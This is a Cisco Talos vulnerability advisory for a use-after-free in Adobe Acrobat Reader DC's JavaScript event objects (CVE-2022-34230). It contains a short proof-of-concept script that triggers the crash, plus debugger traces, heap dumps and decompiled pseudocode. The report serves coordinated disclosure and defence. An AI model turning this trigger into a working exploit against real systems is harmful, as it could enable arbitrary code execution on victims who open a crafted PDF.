Talos Vulnerability Report

TALOS-2022-1525

Adobe Acrobat Reader DC event value use-after-free

July 13, 2022
CVE Number

CVE-2022-34230

Summary

A use-after-free vulnerability exists in the way Adobe Acrobat Reader DC 2022.001.20117 deals with event objects across different event types. A specially-crafted PDF document can trigger this vulnerability, which can lead to arbitrary code execution. A victim needs to open the malicious file to trigger this vulnerability.

Tested Versions

Adobe Acrobat Reader 2022.001.20117

Product URLs

Acrobat Reader - https://acrobat.adobe.com/us/en/acrobat/pdf-reader.html

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Details

Adobe Acrobat Reader is one of the most popular and feature-rich PDF readers on the market. It has a large user base and is usually a default PDF reader on systems. It also integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially-crafted email attachment can be enough to trigger this vulnerability.

Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and provides additional attack surface. Javascript allows manipulation of form fields, annotations and other page content in a PDF document.

Adobe’s PDF JavaScript environment always has an Event object associated with the current execution. There are different types of event objects available inside different event handlers, such as a field event object or page open event object. There exists a use-after-free vulnerability in the way Adobe Acrobat handles the lifetime of these objects. Following excerpt from the PoC demonstrates this vulnerability:

function main() { 
getField("txt2").setAction("OnFocus",'fieldFocusHandler();');
getField('txt2').setFocus(); 
}

function fieldFocusHandler() { 
this.pageNum = 1;
a = this.event;  
}

function pageOpenHandler() {
this.addAnnot({page: 1, type: "Sound", point: [2,2,14,11],hidden : this.event,readOnly : true});
}


this.pageNum =  0;
main(); 

In the above excerpt , function fieldFocusHandler is set to be a handler for OnFocus event for field txt2. Additionally, function pageOpenHandler is set up to be an action triggered once Acrobat navigates to page 1 (as opposed to page 0). To kick off, function main sets the event handler and focuses on field txt2, which kicks off the execution of fieldFocusHandler. Function fieldFocusHandler navigates to page 1 and makes a reference to its own this.event object. Navigating to page 1 triggers the pageOpenHandler action in which this.event is used as part of a addAnnot call. Normally, this.event objects are freed after the event is handled, but in this case (due to saved reference) a stale memory reference is retained which later triggers a use-after-free inside pageOpenHandler. In particular, the use-after-free happens because a value property of event object is accessed. Field event objects can have a value assigned, but page event objects do not. It is this value property that is being accessed during a call to addAnnot that causes use-after-free.

To illustrate this , we can follow the execution in the debugger. Before the crash, we can observe the part of the code where the stale reference is first used :

0:000> bp AcroForm!hb_ot_tags_to_script_and_language+0x62abe
Bp expression 'AcroForm!hb_ot_tags_to_script_and_language+0x62abe' could not be resolved, adding deferred bp
0:000> g
Breakpoint 0 hit
eax=e2f90fe8 ebx=00000001 ecx=0000033f edx=6537e068 esi=67103b40 edi=e5770ff0
eip=64e1353e esp=006fda5c ebp=006fda84 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
AcroForm!hb_ot_tags_to_script_and_language+0x62abe:
64e1353e 50              push    eax
0:000> dd eax 
e2f90fe8  08d859f4 dcbabbbb 00000001 4bc30ff0
e2f90ff8  cf8e6ff0 d0d0d0d0 ???????? ????????
e2f91008  ???????? ???????? ???????? ????????
e2f91018  ???????? ???????? ???????? ????????
e2f91028  ???????? ???????? ???????? ????????
e2f91038  ???????? ???????? ???????? ????????
e2f91048  ???????? ???????? ???????? ????????
e2f91058  ???????? ???????? ???????? ????????

Note that eax points just at the very end of an object, with certain fields looking like heap guard values. Continuing execution leads to the following crash:

0:000> g
(60c.1610): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=dcbabbbb ecx=00000000 edx=dcbabbbb esi=7fffffff edi=00000000
eip=63c331cb esp=006fd9e8 ebp=006fd9ec iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
EScript!PlugInMain+0x15eb:
63c331cb 3802            cmp     byte ptr [edx],al          ds:002b:dcbabbbb=??

The crash occurs in the function that is called right after the above breakpoint, where eax was pushed onto the stack as first argument. The crash occurs due to access violation. Note that, even though PageHeap is employed in this debugging session, it isn’t fully effective due to the way different parts of Acrobat use heaps. If we examine the function in which the above breakpoint is placed, we can see the following pseudocode:

__int16 __cdecl sub_20A934B0(int a1, int a2, int a3)
{
  wchar_t *v3; // edi
  int v4; // eax
  int v6; // [esp-4h] [ebp-2Ch]

  (*(dword_21472CA4 + 8))(0, sub_208868A0);
  v3 = (*(dword_21471158 + 51))(a1, "Event");
  if ( v3 && (*(dword_21472CB8 + 180))(*(dword_21472CB8 + 180), v3, "esValue") )
  {
        v4 = sub_20A4AD55(v3, "esValue", "EStr");                                       [1]
    v6 = sub_20872322(v4);                                                            [2]
    (*(dword_21471158 + 31))(a3, v6);
  }
  else
  {
    (*(dword_21471158 + 31))(a3, &word_20FFA1F0);
  }
  (*(dword_21472CA4 + 12))(*(dword_21472CA4 + 12));
  return 1;
}

This pseudocode is indicative of a function that is accessing the value property of an event object as a string. The stale reference is retrieved at a function call at [1], and the crash occurs during a call at [2].

To better understand what is happening, let’s examine the regular, valid, access to event.value inside filed event handler fieldFocusHandler. In a debugger, we can place a breakpoint at the same point in the code where the stale value in eax is retrieved:

Breakpoint 0 hit
eax=0ce295e4 ebx=00000001 ecx=6714af20 edx=04000010 esi=6714af20 edi=4120cff0
eip=64dcad75 esp=00b8daa0 ebp=00b8dab0 iopl=0         nv up ei pl zr na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000247
AcroForm!hb_ot_tags_to_script_and_language+0x1a2f5:
64dcad75 ffd6            call    esi {AcroRd32_67090000!DllCanUnloadNow+0x127b0 (6714af20)} 
0:000> bp AcroRd32_67090000!DllCanUnloadNow+0x127e5
0:000> g
Breakpoint 1 hit
eax=38e66ff0 ebx=00000001 ecx=0000033f edx=6537e068 esi=4692efea edi=4120cff0
eip=6714af55 esp=00b8da94 ebp=00b8da98 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
AcroRd32_67090000!DllCanUnloadNow+0x127e5:
6714af55 8b400c          mov     eax,dword ptr [eax+0Ch] ds:002b:38e66ffc=357d4fe8

Above, breakpoint 0 is the start of the code that retrieves the final value, and breakpoint 1 is where the final value comes from precisely. If we examine the memory pointed to by eax before dereference:

0:000> dd eax
38e66ff0  0000033f 00000001 00000000 357d4fe8
38e67000  ???????? ???????? ???????? ????????
38e67010  ???????? ???????? ???????? ????????
38e67020  ???????? ???????? ???????? ????????
38e67030  ???????? ???????? ???????? ????????
38e67040  ???????? ???????? ???????? ????????
38e67050  ???????? ???????? ???????? ????????
38e67060  ???????? ???????? ???????? ????????
0:000> !heap -p -a eax
    address 38e66ff0 found in
    _DPH_HEAP_ROOT @ 88e1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                2f123af8:         38e66ff0               10 -         38e66000             2000
    693aabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    776f245b ntdll!RtlDebugAllocateHeap+0x00000039
    77656dd9 ntdll!RtlpAllocateHeap+0x000000f9
    77655ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    77655d3e ntdll!RtlAllocateHeap+0x0000003e
    76d0f0c7 ucrtbase!_calloc_base+0x00000037
    670f0a20 AcroRd32_67090000!AcroWinMainSandbox+0x000050e0
    670f09db AcroRd32_67090000!AcroWinMainSandbox+0x0000509b
    6714a238 AcroRd32_67090000!DllCanUnloadNow+0x00011ac8
    64fc0587 AcroForm!DllUnregisterServer+0x00175637
    64fb9864 AcroForm!DllUnregisterServer+0x0016e914
    64fbd2ea AcroForm!DllUnregisterServer+0x0017239a
    67304f97 AcroRd32_67090000!DllCanUnloadNow+0x001cc827
    6733a912 AcroRd32_67090000!DllCanUnloadNow+0x002021a2
    67de8836 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0048a946
    67de9db0 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0048bec0
    6808ba5d AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0072db6d
    6728811f AcroRd32_67090000!DllCanUnloadNow+0x0014f9af
    6808bf95 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0072e0a5
    67deacf3 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0048ce03
    67a70bf6 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x00112d06
    64e8f7d9 AcroForm!DllUnregisterServer+0x00044889
    67162110 AcroRd32_67090000!DllCanUnloadNow+0x000299a0
    67161803 AcroRd32_67090000!DllCanUnloadNow+0x00029093
    671615a7 AcroRd32_67090000!DllCanUnloadNow+0x00028e37
    670f6c0d AcroRd32_67090000!AcroWinMainSandbox+0x0000b2cd
    7738bf1b USER32!_InternalCallWinProc+0x0000002b
    773883ea USER32!UserCallWinProcCheckWow+0x000003aa
    77387c9e USER32!DispatchMessageWorker+0x0000020e
    77387a80 USER32!DispatchMessageW+0x00000010
    671601f9 AcroRd32_67090000!DllCanUnloadNow+0x00027a89
    6715fe2e AcroRd32_67090000!DllCanUnloadNow+0x000276be

Note the contents of the object and that its size is precisely 16 bytes. The instruction on which the breakpoint is placed dereferences a pointer at offset 12, which in this instance contains 0x357d4fe8. If we further examine the memory pointed to by that pointer, we observe:

0:000> dd poi(eax+0xc)
357d4fe8  00000002 46844fe0 00000002 00000020
357d4ff8  00000000 00000000 ???????? ????????
357d5008  ???????? ???????? ???????? ????????
357d5018  ???????? ???????? ???????? ????????
357d5028  ???????? ???????? ???????? ????????
357d5038  ???????? ???????? ???????? ????????
357d5048  ???????? ???????? ???????? ????????
357d5058  ???????? ???????? ???????? ????????
0:000> !heap -p -a  poi(eax+0xc)
    address 357d4fe8 found in
    _DPH_HEAP_ROOT @ 88e1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                35712ac4:         357d4fe8               18 -         357d4000             2000
    693aabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    776f245b ntdll!RtlDebugAllocateHeap+0x00000039
    77656dd9 ntdll!RtlpAllocateHeap+0x000000f9
    77655ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    77655d3e ntdll!RtlAllocateHeap+0x0000003e
    76d11406 ucrtbase!_malloc_base+0x00000026
    670f0749 AcroRd32_67090000!AcroWinMainSandbox+0x00004e09
    64be0d76 AcroForm!PlugInMain+0x00000a46
    64be0d12 AcroForm!PlugInMain+0x000009e2
    64be7328 AcroForm!PlugInMain+0x00006ff8
    64cafd05 AcroForm!hb_set_invert+0x000c7d55
    64f3fd33 AcroForm!DllUnregisterServer+0x000f4de3
    64fc0558 AcroForm!DllUnregisterServer+0x00175608
    64fb9864 AcroForm!DllUnregisterServer+0x0016e914
    64fbd2ea AcroForm!DllUnregisterServer+0x0017239a
    67304f97 AcroRd32_67090000!DllCanUnloadNow+0x001cc827
    6733a912 AcroRd32_67090000!DllCanUnloadNow+0x002021a2
    67de8836 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0048a946
    67de9db0 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0048bec0
    6808ba5d AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0072db6d
    6728811f AcroRd32_67090000!DllCanUnloadNow+0x0014f9af
    6808bf95 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0072e0a5
    67deacf3 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0048ce03
    67a70bf6 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x00112d06
    64e8f7d9 AcroForm!DllUnregisterServer+0x00044889
    67162110 AcroRd32_67090000!DllCanUnloadNow+0x000299a0
    67161803 AcroRd32_67090000!DllCanUnloadNow+0x00029093
    671615a7 AcroRd32_67090000!DllCanUnloadNow+0x00028e37
    670f6c0d AcroRd32_67090000!AcroWinMainSandbox+0x0000b2cd
    7738bf1b USER32!_InternalCallWinProc+0x0000002b
    773883ea USER32!UserCallWinProcCheckWow+0x000003aa
    77387c9e USER32!DispatchMessageWorker+0x0000020e

Again, a valid object of size 0x18.

Now, if we continue execution, and break as the this.value is being dereferenced inside pageOpenHandler just before the crash, we can observe the following:

Breakpoint 1 hit
eax=38e66ff0 ebx=00000001 ecx=0000033f edx=6537e068 esi=4692efea edi=4120cff0
eip=6714af55 esp=00b8d91c ebp=00b8d920 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
AcroRd32_67090000!DllCanUnloadNow+0x127e5:
6714af55 8b400c          mov     eax,dword ptr [eax+0Ch] ds:002b:38e66ffc=357d4fe8
0:000> dd eax
38e66ff0  0000033f 00000001 00000000 357d4fe8
38e67000  ???????? ???????? ???????? ????????
38e67010  ???????? ???????? ???????? ????????
38e67020  ???????? ???????? ???????? ????????
38e67030  ???????? ???????? ???????? ????????
38e67040  ???????? ???????? ???????? ????????
38e67050  ???????? ???????? ???????? ????????
38e67060  ???????? ???????? ???????? ????????
0:000> !heap -p -a eax
    address 38e66ff0 found in
    _DPH_HEAP_ROOT @ 88e1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                2f123af8:         38e66ff0               10 -         38e66000             2000
    693aabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    776f245b ntdll!RtlDebugAllocateHeap+0x00000039
    77656dd9 ntdll!RtlpAllocateHeap+0x000000f9
    77655ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    77655d3e ntdll!RtlAllocateHeap+0x0000003e
    76d0f0c7 ucrtbase!_calloc_base+0x00000037
    670f0a20 AcroRd32_67090000!AcroWinMainSandbox+0x000050e0
    670f09db AcroRd32_67090000!AcroWinMainSandbox+0x0000509b
    6714a238 AcroRd32_67090000!DllCanUnloadNow+0x00011ac8
    64fc0587 AcroForm!DllUnregisterServer+0x00175637
    64fb9864 AcroForm!DllUnregisterServer+0x0016e914
    64fbd2ea AcroForm!DllUnregisterServer+0x0017239a
    67304f97 AcroRd32_67090000!DllCanUnloadNow+0x001cc827
    6733a912 AcroRd32_67090000!DllCanUnloadNow+0x002021a2
    67de8836 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0048a946
    67de9db0 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0048bec0
    6808ba5d AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0072db6d
    6728811f AcroRd32_67090000!DllCanUnloadNow+0x0014f9af
    6808bf95 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0072e0a5
    67deacf3 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x0048ce03
    67a70bf6 AcroRd32_67090000!AIDE::PixelPartInfo::operator=+0x00112d06
    64e8f7d9 AcroForm!DllUnregisterServer+0x00044889
    67162110 AcroRd32_67090000!DllCanUnloadNow+0x000299a0
    67161803 AcroRd32_67090000!DllCanUnloadNow+0x00029093
    671615a7 AcroRd32_67090000!DllCanUnloadNow+0x00028e37
    670f6c0d AcroRd32_67090000!AcroWinMainSandbox+0x0000b2cd
    7738bf1b USER32!_InternalCallWinProc+0x0000002b
    773883ea USER32!UserCallWinProcCheckWow+0x000003aa
    77387c9e USER32!DispatchMessageWorker+0x0000020e
    77387a80 USER32!DispatchMessageW+0x00000010
    671601f9 AcroRd32_67090000!DllCanUnloadNow+0x00027a89
    6715fe2e AcroRd32_67090000!DllCanUnloadNow+0x000276be

Note that the object pointed to by eax is exactly the same as before. Same size and same allocation call stack. Even the pointer at offset 12 is the same. However, the memory that pointer points to is now different and belongs to a different allocation:

0:000> dd poi(eax+0xc)
357d4fe8  00000000 00000000 00000000 00000000
357d4ff8  00000000 d0d0d0d0 ???????? ????????
357d5008  ???????? ???????? ???????? ????????
357d5018  ???????? ???????? ???????? ????????
357d5028  ???????? ???????? ???????? ????????
357d5038  ???????? ???????? ???????? ????????
357d5048  ???????? ???????? ???????? ????????
357d5058  ???????? ???????? ???????? ????????
0:000> !heap -p -a  poi(eax+0xc)
    address 357d4fe8 found in
    _DPH_HEAP_ROOT @ 88e1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                35712ac4:         357d4bf0              40c -         357d4000             2000
          ? CoolType!CTGetVersion+16c5dc
    693aabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    776f245b ntdll!RtlDebugAllocateHeap+0x00000039
    77656dd9 ntdll!RtlpAllocateHeap+0x000000f9
    77655ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    77655d3e ntdll!RtlAllocateHeap+0x0000003e
    76d11406 ucrtbase!_malloc_base+0x00000026
    670f0749 AcroRd32_67090000!AcroWinMainSandbox+0x00004e09
    66d44898 CoolType!CTInit+0x00001288
    66d65863 CoolType!CTInit+0x00022253
    66dab827 CoolType!CTInit+0x00068217
    66db2421 CoolType!CTInit+0x0006ee11
    66da1b00 CoolType!CTInit+0x0005e4f0
    66db174c CoolType!CTInit+0x0006e13c
    66db75b5 CoolType!CTInit+0x00073fa5
    66db74c3 CoolType!CTInit+0x00073eb3
    66dc9c22 CoolType!CTInit+0x00086612
    66dc992b CoolType!CTInit+0x0008631b
    66dc9579 CoolType!CTInit+0x00085f69
    66dc9391 CoolType!CTInit+0x00085d81
    64ccf780 AcroForm!hb_set_invert+0x000e77d0
    64ccf117 AcroForm!hb_set_invert+0x000e7167

The allocation 0x357d4fe8 now points to is an object of size 0x40c that is allocated via a different code path entirely. Therefore 0x357d4fe8 represents a stale reference, which in this context constitutes a use-after-free vulnerability.
With precise memory layout manipulation between field event handler returning and this.event being used inside the call to addAnnot, an attacker could gain control over the freed memory and cause further memory corruption, which can ultimately result in arbitrary code execution.

Timeline

2022-06-08 - Vendor Disclosure
2022-07-13 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.